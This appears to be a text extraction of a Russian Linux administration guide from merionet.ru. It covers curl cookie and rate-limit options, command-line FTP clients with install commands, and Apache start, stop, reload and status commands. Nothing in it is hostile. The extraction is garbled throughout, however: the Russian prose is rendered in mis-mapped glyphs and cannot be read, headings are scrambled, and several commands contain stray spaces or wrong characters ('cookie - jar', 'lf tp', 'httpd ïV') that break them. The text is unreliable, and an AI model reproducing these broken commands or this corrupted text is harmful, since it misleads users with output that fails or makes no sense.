ʟʘʭʦʜʠʪʝ ʥʘ https://www.cnn.com? ʀʩʧʦʣʴʟʫʡʪʝ ʩʣʝʜʫʶʱʫʶ ʢʦʤʘʥʜʫ, ʯʪʦʙʳ 

ʩʦʭʨʘʥʠʪʴ ʠʭ ʚ cnncookies.txt. ɿʘʪʝʤ ʚʳ ʤʦʞʝʪʝ ʠʩʧʦʣʴʟʦʚʘʪʴ ʢʦʤʘʥʜʫ cat ʜʣʷ 

ʧʨʦʩʤʦʪʨʘ ʬʘʡʣʘ. 

$ curl -- cookie - jar cnncookies . txt https :// www.cnn.com/index.html  - O 

 

ɆɊɇɈȿɁȼɊɔ Ɍȿɢɣɓ EQQMKG ɉȿɢɊȿ 

ɺʳ ʤʦʞʝʪʝ ʠʩʧʦʣʴʟʦʚʘʪʴ ʬʘʡʣʳ cookie, ʧʦʣʫʯʝʥʥʳʝ ʚ ʧʦʩʣʝʜʥʝʤ ʩʦʚʝʪʝ, ʧʨʠ 

ʧʦʩʣʝʜʫʶʱʠʭ ʟʘʧʨʦʩʘʭ ʢ ʪʦʤʫ ʞʝ ʩʘʡʪʫ. 

$ curl -- cookie cnncookies . txt https :// www.cnn.com  

https://wiki.merionet.ru/
https://www.cnn.com/
http://www.cnn.com/index.html
http://www.cnn.com/
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ȼɡɄɂɅȼɊɔ ɈȿɡɈɂɐɂɅȼɂ ȼɄɂɅȼ 

ɽʩʣʠ ʚʳ ʚʝʙ-ʨʘʟʨʘʙʦʪʯʠʢ ʠ ʭʦʪʠʪʝ ʧʨʦʪʝʩʪʠʨʦʚʘʪʴ ʣʦʢʘʣʴʥʫʶ ʚʝʨʩʠʶ merionet.ru, 

ʧʨʝʞʜʝ ʯʝʤ ʟʘʧʫʩʢʘʪʴ ʝʝ ʚ ʞʠʚʫʶ ʚʝʨʩʠʶ, ʚʳ ʤʦʞʝʪʝ ʥʘʩʪʨʦʠʪʴ ʨʘʟʨʝʰʝʥʠʝ curl 

http://www.merionet.ru ʜʣʷ ʩʚʦʝʛʦ ʣʦʢʘʣʴʥʦʛʦ ʭʦʩʪʘ ʩʣʝʜʫʶʱʠʤ ʦʙʨʘʟʦʤ: 

$ curl -- resolve www . merionet . ru : 80: localhost http :// www.merionet.ru/  

ʊʘʢʠʤ ʦʙʨʘʟʦʤ, ʟʘʧʨʦʩ ʢ http://www.merionet.ru ʩʢʘʞʝʪ curl ʟʘʧʨʘʰʠʚʘʪʴ ʩʘʡʪ ʫ 

localhost ʚʤʝʩʪʦ ʠʩʧʦʣʴʟʦʚʘʥʠʷ DNS ʠʣʠ ʬʘʡʣʘ /etc /hosts. 

 

ɆɝɈȿɅȼɏȼɊɔ ɉȺɆɈɆɉɊɔ ɡȿɝɈɋɡȺȼ 

ʏʪʦʙʳ ʧʨʝʜʦʪʚʨʘʪʠʪʴ ʧʦʪʝʨʶ ʧʨʦʧʫʩʢʥʦʡ ʩʧʦʩʦʙʥʦʩʪʠ, ʚʳ ʤʦʞʝʪʝ ʦʛʨʘʥʠʯʠʪʴ 

ʩʢʦʨʦʩʪʴ ʟʘʛʨʫʟʢʠ ʜʦ 100 ʂɹ/ʩ ʩʣʝʜʫʶʱʠʤ ʦʙʨʘʟʦʤ. 

$ curl -- limit - rate 100K http :// merionet.ru/yourfile.tar.gz  - O 

ǺȖȗ - 5 FTP ȒȓȐȍȕȚȖȊ Ȍȓȧ Linux 

ʇʨʦʪʦʢʦʣ ʧʝʨʝʜʘʯʠ ʬʘʡʣʦʚ (File Transfer Protocol - FTP) - ʵʪʦ ʩʝʪʝʚʦʡ ʧʨʦʪʦʢʦʣ, 

ʠʩʧʦʣʴʟʫʝʤʳʡ ʜʣʷ ʧʝʨʝʜʘʯʠ ʬʘʡʣʦʚ ʤʝʞʜʫ ʢʣʠʝʥʪʦʤ ʠ ʩʝʨʚʝʨʦʤ ʚ ʢʦʤʧʴʶʪʝʨʥʦʡ 

ʩʝʪʠ. ʉʘʤʳʝ ʧʝʨʚʳʝ ʧʨʠʣʦʞʝʥʠʷ FTP ʙʳʣʠ ʩʦʟʜʘʥʳ ʜʣʷ ʢʦʤʘʥʜʥʦʡ ʩʪʨʦʢʠ ʝʱʝ ʜʦ 

ʪʦʛʦ, ʢʘʢ ʦʧʝʨʘʮʠʦʥʥʳʝ ʩʠʩʪʝʤʳ GUI ʜʘʞʝ ʩʪʘʣʠ ʯʝʤ-ʪʦ ʦʩʦʙʝʥʥʳʤ, ʠ, ʭʦʪʷ 

ʩʫʱʝʩʪʚʫʝʪ ʥʝʩʢʦʣʴʢʦ ʢʣʠʝʥʪʦʚ FTP ʩ ʛʨʘʬʠʯʝʩʢʠʤ ʠʥʪʝʨʬʝʡʩʦʤ, ʨʘʟʨʘʙʦʪʯʠʢʠ 

ʧʦ-ʧʨʝʞʥʝʤʫ ʩʦʟʜʘʶʪ ʢʣʠʝʥʪʳ FTP ʥʘ ʦʩʥʦʚʝ CLI ʜʣʷ ʧʦʣʴʟʦʚʘʪʝʣʝʡ, ʢʦʪʦʨʳʝ 

ʧʨʝʜʧʦʯʠʪʘʶʪ ʠʩʧʦʣʴʟʦʚʘʪʴ ʩʪʘʨʳʡ ʤʝʪʦʜ. 

https://wiki.merionet.ru/
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ɺʦʪ ʩʧʠʩʦʢ ʣʫʯʰʠʭ FTP-ʢʣʠʝʥʪʦʚ ʥʘ ʦʩʥʦʚʝ ʢʦʤʘʥʜʥʦʡ ʩʪʨʦʢʠ ʜʣʷ Linux.

 

FTP 

ʆʧʝʨʘʮʠʦʥʥʳʝ ʩʠʩʪʝʤʳ Linux ʧʦʩʪʘʚʣʷʶʪʩʷ ʩʦ ʚʩʪʨʦʝʥʥʳʤʠ FTP-ʢʣʠʝʥʪʘʤʠ, ʢ 

ʢʦʪʦʨʳʤ ʚʳ ʤʦʞʝʪʝ ʣʝʛʢʦ ʧʦʣʫʯʠʪʴ ʜʦʩʪʫʧ, ʚʚʝʜʷ ʢʦʤʘʥʜʫ ftp ʚ ʩʚʦʝʤ ʪʝʨʤʠʥʘʣʝ. 

ʉ ʧʦʤʦʱʴʶ FTP ʚʳ ʤʦʞʝʪʝ ʧʦʜʢʣʶʯʘʪʴʩʷ ʢ ʩʝʨʚʝʨʘʤ ʘʥʦʥʠʤʥʦ (ʝʩʣʠ ʵʪʘ ʬʫʥʢʮʠʷ 

ʚʢʣʶʯʝʥʘ ʥʘ ʩʝʨʚʝʨʝ) ʠʣʠ ʠʩʧʦʣʴʟʦʚʘʪʴ ʩʚʦʠ ʫʯʝʪʥʳʝ ʜʘʥʥʳʝ ʧʦʣʴʟʦʚʘʪʝʣʷ, 

ʟʘʛʨʫʞʘʪʴ ʠ ʩʢʘʯʠʚʘʪʴ ʬʘʡʣʳ ʤʝʞʜʫ ʣʦʢʘʣʴʥʳʤ ʢʦʤʧʴʶʪʝʨʦʤ ʠ ʧʦʜʢʣʶʯʝʥʥʳʤʠ 

ʩʝʨʚʝʨʘʤʠ, ʠʩʧʦʣʴʟʦʚʘʪʴ ʧʩʝʚʜʦʥʠʤʳ ʠ ʪʘʢ ʜʘʣʝʝ. 

ʂʨʦʤʝ ʪʦʛʦ, ʧʨʠ ʠʩʧʦʣʴʟʦʚʘʥʠʠ FTP ʜʣʷ ʧʝʨʝʜʘʯʠ ʬʘʡʣʦʚ ʤʝʞʜʫ ʢʦʤʧʴʶʪʝʨʘʤʠ 

ʩʦʝʜʠʥʝʥʠʝ ʥʝ ʟʘʱʠʱʝʥʦ ʠ ʜʘʥʥʳʝ ʥʝ ʰʠʬʨʫʶʪʩʷ. ɼʣʷ ʙʝʟʦʧʘʩʥʦʡ ʧʝʨʝʜʘʯʠ 

ʜʘʥʥʳʭ ʠʩʧʦʣʴʟʫʡʪʝ sFTP (Secure File Transfer Protocol) ʠʣʠ SCP (Secure Copy). 

 

LFTP 

LFTP - ʵʪʦ ʙʝʩʧʣʘʪʥʘʷ ʫʪʠʣʠʪʘ ʢʦʤʘʥʜʥʦʡ ʩʪʨʦʢʠ ʩ ʦʪʢʨʳʪʳʤ ʠʩʭʦʜʥʳʤ ʢʦʜʦʤ, 

ʨʘʟʨʘʙʦʪʘʥʥʘʷ ʜʣʷ ʥʝʩʢʦʣʴʢʠʭ ʧʨʦʪʦʢʦʣʦʚ ʧʝʨʝʜʘʯʠ ʬʘʡʣʦʚ (ʥʘʧʨʠʤʝʨ, sftp, fish, 

torrent) ʚ Unix ʠ ʘʥʘʣʦʛʠʯʥʳʭ ʦʧʝʨʘʮʠʦʥʥʳʭ ʩʠʩʪʝʤʘʭ. 

ʆʥʘ ʚʢʣʶʯʘʝʪ ʚ ʩʝʙʷ ʟʘʢʣʘʜʢʠ, ʫʧʨʘʚʣʝʥʠʝ ʟʘʜʘʥʠʷʤʠ, ʧʦʜʜʝʨʞʢʫ ʙʠʙʣʠʦʪʝʢʠ 

readline, ʚʩʪʨʦʝʥʥʫʶ ʢʦʤʘʥʜʫ ʟʝʨʢʘʣʴʥʦʛʦ ʦʪʦʙʨʘʞʝʥʠʷ ʠ ʧʦʜʜʝʨʞʢʫ 

ʧʘʨʘʣʣʝʣʴʥʦʡ ʧʝʨʝʜʘʯʠ ʥʝʩʢʦʣʴʢʠʭ ʬʘʡʣʦʚ. 

https://wiki.merionet.ru/
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lftp ʜʦʩʪʫʧʝʥ ʜʣʷ ʫʩʪʘʥʦʚʢʠ ʠʟ ʨʝʧʦʟʠʪʦʨʠʝʚ ʧʦ ʫʤʦʣʯʘʥʠʶ ʩ ʧʦʤʦʱʴʶ ʜʠʩʧʝʪʯʝʨʘ 

ʧʘʢʝʪʦʚ, ʢʘʢ ʧʦʢʘʟʘʥʦ ʥʠʞʝ. 

$ sudo apt install lf tp  [ʅʘ Debian / Ubuntu ]  

$ sudo yum install lftp  [ʅʘ CentOs / RHEL]  

$ sudo dnf install lftp  [ʅʘ Fedora ]  

 

NCFTP 

NcFTP - ʵʪʦ ʙʝʩʧʣʘʪʥʳʡ ʢʨʦʩʩʧʣʘʪʬʦʨʤʝʥʥʳʡ FTP-ʢʣʠʝʥʪ ʠ ʧʝʨʚʘʷ ʚ ʠʩʪʦʨʠʠ 

ʘʣʴʪʝʨʥʘʪʠʚʘ ʩʪʘʥʜʘʨʪʥʦʡ FTP-ʧʨʦʛʨʘʤʤʝ, ʨʘʟʨʘʙʦʪʘʥʥʘʷ ʜʣʷ ʫʧʨʦʱʝʥʠʷ 

ʠʩʧʦʣʴʟʦʚʘʥʠʷ ʠ ʥʝʩʢʦʣʴʢʠʭ ʫʣʫʯʰʝʥʠʡ ʬʫʥʢʮʠʡ ʠ ʧʨʦʠʟʚʦʜʠʪʝʣʴʥʦʩʪʠ FTP. 

ɽʛʦ ʬʫʥʢʮʠʠ ʚʢʣʶʯʘʶʪ ʚ ʩʝʙʷ ʧʦʚʪʦʨʥʳʡ ʥʘʙʦʨ ʥʦʤʝʨʘ, ʬʦʥʦʚʫʶ ʦʙʨʘʙʦʪʢʫ, 

ʘʚʪʦʤʘʪʠʯʝʩʢʦʝ ʚʦʟʦʙʥʦʚʣʝʥʠʝ ʟʘʛʨʫʟʢʠ, ʟʘʚʝʨʰʝʥʠʝ ʠʤʝʥʠ ʬʘʡʣʘ, ʠʥʜʠʢʘʪʦʨʳ 

ʚʳʧʦʣʥʝʥʠʷ, ʧʦʜʜʝʨʞʢʫ ʜʨʫʛʠʭ ʫʪʠʣʠʪ, ʪʘʢʠʭ ʢʘʢ ncftpput ʠ ncftpget. 

NcFTP ʜʦʩʪʫʧʝʥ ʜʣʷ ʫʩʪʘʥʦʚʢʠ ʠʟ ʨʝʧʦʟʠʪʦʨʠʝʚ ʧʦ ʫʤʦʣʯʘʥʠʶ ʩ ʧʦʤʦʱʴʶ 

ʜʠʩʧʝʪʯʝʨʘ ʧʘʢʝʪʦʚ. 

$ sudo apt install ncftp  [ʅʘ Debian / Ubuntu ]  

$ sudo yum install ncftp  [ʅʘ CentOs / RHEL]  

$ sudo dnf install ncftp  [ʅʘ Fedora ]  

 

https://wiki.merionet.ru/
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CBFTP 

ctftp - ʵʪʦ ʛʠʙʢʠʡ ʢʣʠʝʥʪ FTP / FXP, ʢʦʪʦʨʳʡ ʧʦʟʚʦʣʷʝʪ ʧʦʣʴʟʦʚʘʪʝʣʷʤ ʙʝʟʦʧʘʩʥʦ ʠ 

ʵʬʬʝʢʪʠʚʥʦ ʧʝʨʝʜʘʚʘʪʴ ʙʦʣʴʰʠʝ ʬʘʡʣʳ ʙʝʟ ʠʩʧʦʣʴʟʦʚʘʥʠʷ ʵʣʝʢʪʨʦʥʥʦʡ ʧʦʯʪʳ. 

ʆʙʳʯʥʦ ʦʥ ʨʘʙʦʪʘʝʪ ʚ ʢʦʤʘʥʜʥʦʡ ʩʪʨʦʢʝ, ʥʦ ʚʳ ʤʦʞʝʪʝ ʟʘʧʫʩʪʠʪʴ ʝʛʦ ʚ ʧʦʣʫ-GUI, 

ʠʩʧʦʣʴʟʫʷ ncurses. 

ɽʛʦ ʬʫʥʢʮʠʠ ʚʢʣʶʯʘʶʪ ʚ ʩʝʙʷ ʚʥʫʪʨʝʥʥʠʡ ʧʨʦʩʤʦʪʨʱʠʢ, ʢʦʪʦʨʳʡ ʧʦʜʜʝʨʞʠʚʘʝʪ 

ʥʝʩʢʦʣʴʢʦ ʢʦʜʠʨʦʚʦʢ, ʣʠʩʪʠʥʛ ʩ ʧʨʦʧʫʩʢʦʤ, ʫʜʘʣʝʥʥʳʝ ʢʦʤʘʥʜʳ ʜʣʷ ʢʦʤʘʥʜ 

ʚʳʟʦʚʘ UDP, ʪʘʢʠʭ ʢʘʢ race, load, fxp, raw, idle ʠ ʪ. ɼ., ʀ ʰʠʬʨʦʚʘʥʠʝ ʜʘʥʥʳʭ ʩ 

ʧʦʤʦʱʴʶ AES-256, ʩʨʝʜʠ ʧʨʦʯʝʛʦ. 

 

YAFC 

Yafc - ʵʪʦ FTP-ʢʣʠʝʥʪ ʩ ʦʪʢʨʳʪʳʤ ʠʩʭʦʜʥʳʤ ʢʦʜʦʤ, ʨʘʟʨʘʙʦʪʘʥʥʳʡ ʜʣʷ ʟʘʤʝʥʳ 

ʩʪʘʥʜʘʨʪʥʦʡ ʧʨʦʛʨʘʤʤʳ FTP ʚ ʩʠʩʪʝʤʘʭ Linux ʩ ʧʦʜʜʝʨʞʢʦʡ POSIX-ʩʦʚʤʝʩʪʠʤʳʭ 

ʩʠʩʪʝʤ. 

ʆʥ ʧʦʣʥʦʩʪʴʶ ʙʝʩʧʣʘʪʝʥ ʩ ʙʦʛʘʪʳʤ ʩʧʠʩʢʦʤ ʬʫʥʢʮʠʡ, ʢʦʪʦʨʳʡ ʚʢʣʶʯʘʝʪ ʚ ʩʝʙʷ 

ʨʝʢʫʨʩʠʚʥʳʡ get / put / fxp / ls / rm, ʦʨʛʘʥʠʟʘʮʠʶ ʦʯʝʨʝʜʝʡ, ʟʘʚʝʨʰʝʥʠʝ ʪʘʙʫʣʷʮʠʠ, 

ʧʩʝʚʜʦʥʠʤʳ ʠ ʧʦʜʜʝʨʞʢʫ SSH2 ʠ ʧʨʦʢʩʠ. 

Yafc ʜʦʩʪʫʧʝʥ ʜʣʷ ʫʩʪʘʥʦʚʢʠ ʠʟ ʨʝʧʦʟʠʪʦʨʠʝʚ ʧʦ ʫʤʦʣʯʘʥʠʶ, ʠʩʧʦʣʴʟʫʷ ʤʝʥʝʜʞʝʨ 

ʧʘʢʝʪʦʚ. 

$ sudo apt install yafc  [ʅʘ Debian / Ubuntu ]  

$ sudo yum install yafc  [ʅʘ CentOs / RHEL]  

$ sudo dnf install yafc  [ʅʘ Fedora ]  

https://wiki.merionet.ru/
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ǷȖȓȍȏȕȣȍ ȒȖȔȈȕȌȣ Ȍȓȧ țȗȘȈȊȓȍȕȐȧ Apache Ȋ Linux 

ɺ ʵʪʦʤ ʨʫʢʦʚʦʜʩʪʚʝ ʤʳ ʦʧʠʰʝʤ ʥʝʢʦʪʦʨʳʝ ʠʟ ʥʘʠʙʦʣʝʝ ʯʘʩʪʦ ʠʩʧʦʣʴʟʫʝʤʳʭ 

ʢʦʤʘʥʜ ʫʧʨʘʚʣʝʥʠʷ ʩʣʫʞʙʘʤʠ Apache (HTTPD) , ʢʦʪʦʨʳʝ ʧʦʣʝʟʥʦ ʟʥʘʪʴ, 

ʨʘʟʨʘʙʦʪʯʠʢʫ ʠʣʠ ʩʠʩʪʝʤʥʦʤʫ ʘʜʤʠʥʠʩʪʨʘʪʦʨʫ, ʠ ʜʝʨʞʘʪʴ ʵʪʠ ʢʦʤʘʥʜʳ ʧʦʜ ʨʫʢʦʡ. 

ʄʳ ʧʦʢʘʞʝʤ ʢʦʤʘʥʜʳ ʜʣʷ Systemd ʠ SysVinit. 

ʋʙʝʜʠʪʝʩʴ, ʯʪʦ ʩʣʝʜʫʶʱʠʝ ʢʦʤʘʥʜʳ ʜʦʣʞʥʳ ʚʳʧʦʣʥʷʪʴʩʷ ʦʪ ʠʤʝʥʠ ʧʦʣʴʟʦʚʘʪʝʣʷ 

root ʠʣʠ sudo ʠ ʨʘʙʦʪʘʪʴ ʩ ʣʶʙʳʤ ʜʠʩʪʨʠʙʫʪʠʚʦʤ Linux, ʪʘʢʠʤ ʢʘʢ CentOS, 

RHEL, Fedora, Debian ʠ Ubuntu. 

 

ɋɉɊȿɅɆɁȺȿ CRCEJG %GTWGT 

ʏʪʦʙʳ ʫʩʪʘʥʦʚʠʪʴ ʚʝʙ-ʩʝʨʚʝʨ Apache, ʠʩʧʦʣʴʟʫʡʪʝ ʚʘʰ ʩʪʘʥʜʘʨʪʥʳʡ ʤʝʥʝʜʞʝʨ 

ʧʘʢʝʪʦʚ, ʢʘʢ ʧʦʢʘʟʘʥʦ ʥʠʞʝ. 

$ sudo apt install apache2      [ On Debian / Ubuntu ]  

$ sudo yum install httpd      [ On RHEL/ CentOS]  

$ sudo dnf install httpd      [ On Fedora  22+]  

$ sudo zypper install apache2      [ On openSUSE]  

 

ɇɈɆɁɂɈȺȿ ɁɂɈɉȼȼ CRCEJG 

ʏʪʦʙʳ ʧʨʦʚʝʨʠʪʴ ʫʩʪʘʥʦʚʣʝʥʥʫʶ ʚʝʨʩʠʶ ʚʘʰʝʛʦ ʚʝʙ-ʩʝʨʚʝʨʘ Apache ʚ ʚʘʰʝʡ 

ʩʠʩʪʝʤʝ Linux, ʚʳʧʦʣʥʠʪʝ ʩʣʝʜʫʶʱʫʶ ʢʦʤʘʥʜʫ. 

https://wiki.merionet.ru/
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$ sudo httpd - v 

ʀʣʠ: 

$ sudo apache2 - v 

ʇʨʠʤʝʨ ʚʳʚʦʜʘ: 

Server  version :  Apache / 2.4 . 6 ( CentOS)  

Server  built :    May   5 2019  01: 47: 09 

ɽʩʣʠ ʚʳ ʭʦʪʠʪʝ ʫʚʠʜʝʪʴ ʥʦʤʝʨ ʚʝʨʩʠʠ Apache ʠ ʧʘʨʘʤʝʪʨʳ ʢʦʤʧʠʣʷʮʠʠ, 

ʠʩʧʦʣʴʟʫʡʪʝ ʬʣʘʛ -V, ʢʘʢ ʧʦʢʘʟʘʥʦ ʥʠʞʝ. 

$ sudo httpd ïV 

ʀʣʠ: 

$ sudo apache2 ïV 

ʇʨʠʤʝʨ ʚʳʚʦʜʘ: 

Server  version :  Apache / 2.4 . 6 ( CentOS)  

Server  built :    May  5 2019  01: 47: 09 

Server 's Module Magic Number: 20120211:24  

Server loaded:  APR 1.4.8, APR - UTIL 1.5.2  

https://wiki.merionet.ru/
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Compiled using: APR 1.4.8, APR - UTIL 1.5.2  

Architecture:   64 - bit  

Server MPM:     prefork  

  threaded:     no  

    forked:     yes (variable process count)  

Server compiled with....  

 - D APR_HAS_SENDFILE 

 - D APR_HAS_MMAP 

 - D APR_HAVE_IPV6 (IPv4 - mapped addresses enabled)  

 - D APR_USE_SYSVSEM_SERIALIZE 

 - D APR_USE_PTHREAD_SERIALIZE 

 - D SINGLE_LISTEN_UNSERIALIZED_ACCEPT 

 - D APR_HAS_OTHER_CHILD 

 - D AP_HAVE_RELIABLE_PIPED_LOGS 

 - D DYNAMIC_MODULE_LIMIT=256 

 - D HTTPD_ROOT="/etc/httpd"  

https://wiki.merionet.ru/
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 - D SUEXEC_BIN="/usr/sbin/suexec"  

 - D DEFAULT_PIDLOG="/run/httpd/httpd.pid"  

 - D DEFAULT_SCOREBOARD="logs/apache_runtime_status"  

 - D DEFAULT_ERRORLOG="logs/error_log"  

 - D AP_TYPES_CONFIG_FILE="conf/mi me.types"  

 - D SERVER_CONFIG_FILE="conf/httpd.conf"  

 

ɇɈɆɁɂɈȺȿ Ʌȿ ɆɐȼɀȺȼ ɉȼɅɊȿȺɉȼɉȿ ȺɆɅɌȼɝɋɈȿɎȼȼ CRCEJG 

ʏʪʦʙʳ ʧʨʦʚʝʨʠʪʴ ʚʘʰʠ ʬʘʡʣʳ ʢʦʥʬʠʛʫʨʘʮʠʠ Apache ʥʘ ʥʘʣʠʯʠʝ ʣʶʙʳʭ 

ʩʠʥʪʘʢʩʠʯʝʩʢʠʭ ʦʰʠʙʦʢ, ʚʳʧʦʣʥʠʪʝ ʩʣʝʜʫʶʱʫʶ ʢʦʤʘʥʜʫ, ʢʦʪʦʨʘʷ ʧʨʦʚʝʨʠʪ 

ʧʨʘʚʠʣʴʥʦʩʪʴ ʬʘʡʣʦʚ ʢʦʥʬʠʛʫʨʘʮʠʠ, ʧʨʝʞʜʝ ʯʝʤ ʧʝʨʝʟʘʧʫʩʢʘʪʴ ʩʣʫʞʙʫ. 

$ sudo httpd - t  

ʀʣʠ 

$ sudo apache2ctl - t  

ʇʨʠʤʝʨ ʚʳʚʦʜʘ: 

AH00558:  httpd :  Could  not  reliably determine the server 's fully qualified 

domain name, using merionet.ru.  

https://wiki.merionet.ru/
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Set the ' ServerName ' directive globally to suppress this message  

Syntax OK  

 

ɡȿɇɋɉȺ ɉɂɈɁȼɉȿ CRCEJG 

ʏʪʦʙʳ ʟʘʧʫʩʪʠʪʴ ʩʣʫʞʙʫ Apache, ʚʳʧʦʣʥʠʪʝ ʩʣʝʜʫʶʱʫʶ ʢʦʤʘʥʜʫ. 

------------  On CentOS/ RHEL ------------   

$ sudo systemctl start httpd     [ On Systemd ]  

$ sudo service httpd start   [ On SysVInit ]  

 

------------  On Ubunt / Debian   ------------  

$ sudo systemctl start apache2   [ On Systemd ]  

$ sudo service apache2 start     [ On SysVInit ]  

 

ɁȺɣɖɏɂɅȼɂ ɉɣɋɃɀɓ CRCEJG 

ʇʨʝʜʳʜʫʱʘʷ ʢʦʤʘʥʜʘ ʧʦʢʘ ʪʦʣʴʢʦ ʟʘʧʫʩʢʘʝʪ ʩʣʫʞʙʫ Apache, ʯʪʦʙʳ ʚʢʣʶʯʠʪʴ 

ʘʚʪʦʟʘʧʫʩʢ ʧʨʠ ʟʘʛʨʫʟʢʝ ʩʠʩʪʝʤʳ, ʚʳʧʦʣʥʠʪʝ ʩʣʝʜʫʶʱʫʶ ʢʦʤʘʥʜʫ. 

------------  On CentOS/ RHEL ------------   

https://wiki.merionet.ru/
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$ sudo systemctl enable httpd     [ On Systemd ]  

$ sudo chkconfig httpd on    [ On SysVInit ]  

 

------------  On Ubunt / Debian   ------------  

$ sudo systemctl enable apache2   [ On Systemd ]  

$ sudo chkconfig apache2 on       [ On SysVInit ]  

 

ɇɂɈɂɡȿɇɋɉȺ ɉɣɋɃɀɓ CRCEJG 

ʏʪʦʙʳ ʧʝʨʝʟʘʧʫʩʪʠʪʴ Apache (ʦʩʪʘʥʦʚʠʪʴ, ʘ ʟʘʪʝʤ ʟʘʧʫʩʪʠʪʴ ʩʣʫʞʙʫ), ʚʳʧʦʣʥʠʪʝ 

ʩʣʝʜʫʶʱʫʶ ʢʦʤʘʥʜʫ. 

------------  On CentOS/ RHEL ------------   

$ sudo systemctl restart httpd     [ On Systemd ]  

$ sudo service httpd restart     [ On SysVInit ]  

 

------------  On Ubunt / Debian   ------------  

$ sudo systemctl restart apache2   [ On Systemd ]  

$ sudo service apache2 restart     [ On SysVInit ]  

https://wiki.merionet.ru/
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ɇɈɆɉɄɆɊɈ ɉɆɉɊɆɗɅȼɗ ɉɂɈɁȼɉȿ CRCEJG 

ʏʪʦʙʳ ʧʨʦʚʝʨʠʪʴ ʠʥʬʦʨʤʘʮʠʶ ʦ ʩʦʩʪʦʷʥʠʠ ʚʨʝʤʝʥʠ ʚʳʧʦʣʥʝʥʠʷ ʩʣʫʞʙʳ Apache, 

ʚʳʧʦʣʥʠʪʝ ʩʣʝʜʫʶʱʫʶ ʢʦʤʘʥʜʫ. 

------------  On CentOS/ RHEL ------------   

$ sudo systemctl status httpd     [ On Systemd ]  

$ sudo service httpd status    [ On SysVInit ]  

 

------------  On Ubunt / Debian   ------------  

$ sudo systemctl status apache2   [ On Systemd ]  

$ sudo service apache2 status     [ On SysVInit ]  

 

ɇɂɈɂɡȿɝɈɋɡȺȿ ɉɂɈɁȼɉȿ CRCEJG 

ɽʩʣʠ ʚʳ ʚʥʝʩʣʠ ʢʘʢʠʝ-ʣʠʙʦ ʠʟʤʝʥʝʥʠʷ ʚ ʢʦʥʬʠʛʫʨʘʮʠʶ ʩʝʨʚʝʨʘ Apache, ʚʳ 

ʤʦʞʝʪʝ ʫʢʘʟʘʪʴ ʩʣʫʞʙʝ ʧʝʨʝʟʘʛʨʫʟʠʪʴ ʩʚʦʶ ʢʦʥʬʠʛʫʨʘʮʠʶ, ʚʳʧʦʣʥʠʚ ʩʣʝʜʫʶʱʫʶ 

ʢʦʤʘʥʜʫ. 

------------  On CentOS/ RHEL ------------   

$ sudo systemctl reload httpd     [ On Systemd ]  

https://wiki.merionet.ru/
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$ sudo service  httpd reload    [ On SysVInit ]  

 

------------  On Ubunt / Debian   ------------  

$ sudo systemctl reload apache2   [ On Systemd ]  

$ sudo service apache2 reload     [ On SysVInit ]  

 

ɆɉɊȿɅɆɁȺȿ ɉɣɋɃɀɓ CRCEJG 

ʏʪʦʙʳ ʦʩʪʘʥʦʚʠʪʴ ʩʣʫʞʙʫ Apache, ʠʩʧʦʣʴʟʫʡʪʝ ʩʣʝʜʫʶʱʫʶ ʢʦʤʘʥʜʫ. 

------------  On CentOS/ RHEL ------------   

$ sudo systemctl stop httpd       [ On Systemd ]  

$ sudo service httpd stop    [ On SysVInit ]  

 

------------  On Ubunt / Debian   ------------  

$ sudo systemctl stop apache2     [ On Systemd ]  

$ sudo service apache2 stop     [ On SysVInit ]  

 

https://wiki.merionet.ru/
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ɇɆȺȿɡȿɊɔ ɉɇɈȿɁȺɋ CRCEJG EQOOCPF 

ʀ ʧʦʩʣʝʜʥʝʝ, ʥʦ ʥʝ ʤʝʥʝʝ ʚʘʞʥʦʝ: ʚʳ ʤʦʞʝʪʝ ʧʦʣʫʯʠʪʴ ʩʧʨʘʚʢʫ ʦ ʩʣʫʞʝʙʥʳʭ 

ʢʦʤʘʥʜʘʭ Apache ʚ systemd, ʚʳʧʦʣʥʠʚ ʩʣʝʜʫʶʱʫʶ ʢʦʤʘʥʜʫ. 

$ sudo httpd - h 

ʀʣʠ 

$ sudo apache2 - h   

ʀʣʠ 

$ systemctl - h apache2   

ʇʨʠʤʝʨ ʚʳʚʦʜʘ 

Usage:  httpd [ - D name]  [ - d directory ]  [ - f file ]  

             [ - C "directive" ]  [ - c "directive" ]  

             [ - k start | restart | graceful | graceful - stop | stop ]  

             [ - v ]  [ - V]  [ - h]  [ - l ]  [ - L]  [ - t ]  [ - T]  [ - S]  [ - X]  

Options :  

  - D name            :  define a name for  use  in   directives  

  - d directory       :  specify an alternate initial ServerRoot  

https://wiki.merionet.ru/
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  - f file            :  specify an alternate ServerConfigFile  

  - C "directive"      :  process directive before reading config files  

  - c "directive"      :  process directive after reading config files  

  - e level           :  show startup errors of level ( see LogLevel )  

  - E file            :  log startup errors to file  

  - v                 :  show version number  

  - V                 :  show compile settings  

  - h                 :  list available command line options ( this  page )  

  - l                 :  list compiled in  modules  

  - L                 :  list available configuration directives  

  - t - D DUMP_VHOSTS  :  show parsed vhost settings  

  - t - D DUMP_RUN_CFG :  show parsed run settings  

  - S                 :  a synonym for  - t - D DUMP_VHOSTS - D DUMP_RUN_CFG 

  - t - D DUMP_MODULES :  show all loaded modules  

  - M                 :  a synonym for  - t - D DUMP_MODULES 

  - t                 :  run syntax check for  config files  

https://wiki.merionet.ru/
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  - T                 :  start without DocumentRoot ( s)  check  

  - X                 :  debug mode ( only one worker ,  do not  detach )  

ʅʘ ʵʪʦʤ ʧʦʢʘ ʚʩʝ! ɺ ʵʪʦʡ ʩʪʘʪʴʝ ʤʳ ʦʙʲʷʩʥʠʣʠ ʥʘʠʙʦʣʝʝ ʯʘʩʪʦ ʠʩʧʦʣʴʟʫʝʤʳʝ 

ʢʦʤʘʥʜʳ ʫʧʨʘʚʣʝʥʠʷ ʩʣʫʞʙʘʤʠ Apache / HTTPD, ʢʦʪʦʨʳʝ ʧʦʣʝʟʥʦ ʙʫʜʝʪ ʟʥʘʪʴ, 

ʚʢʣʶʯʘʷ ʟʘʧʫʩʢ, ʚʢʣʶʯʝʥʠʝ, ʧʝʨʝʟʘʧʫʩʢ ʠ ʦʩʪʘʥʦʚʢʫ Apache. 

ǸțȒȖȊȖȌșȚȊȖ ȈȌȔȐȕȐșȚȘȈȚȖȘȈ Linux ȗȖ țșȚȘȈȕȍȕȐȦ 

ȕȍȗȖȓȈȌȖȒ Ȑ ȖȚȓȈȌȒȍ 

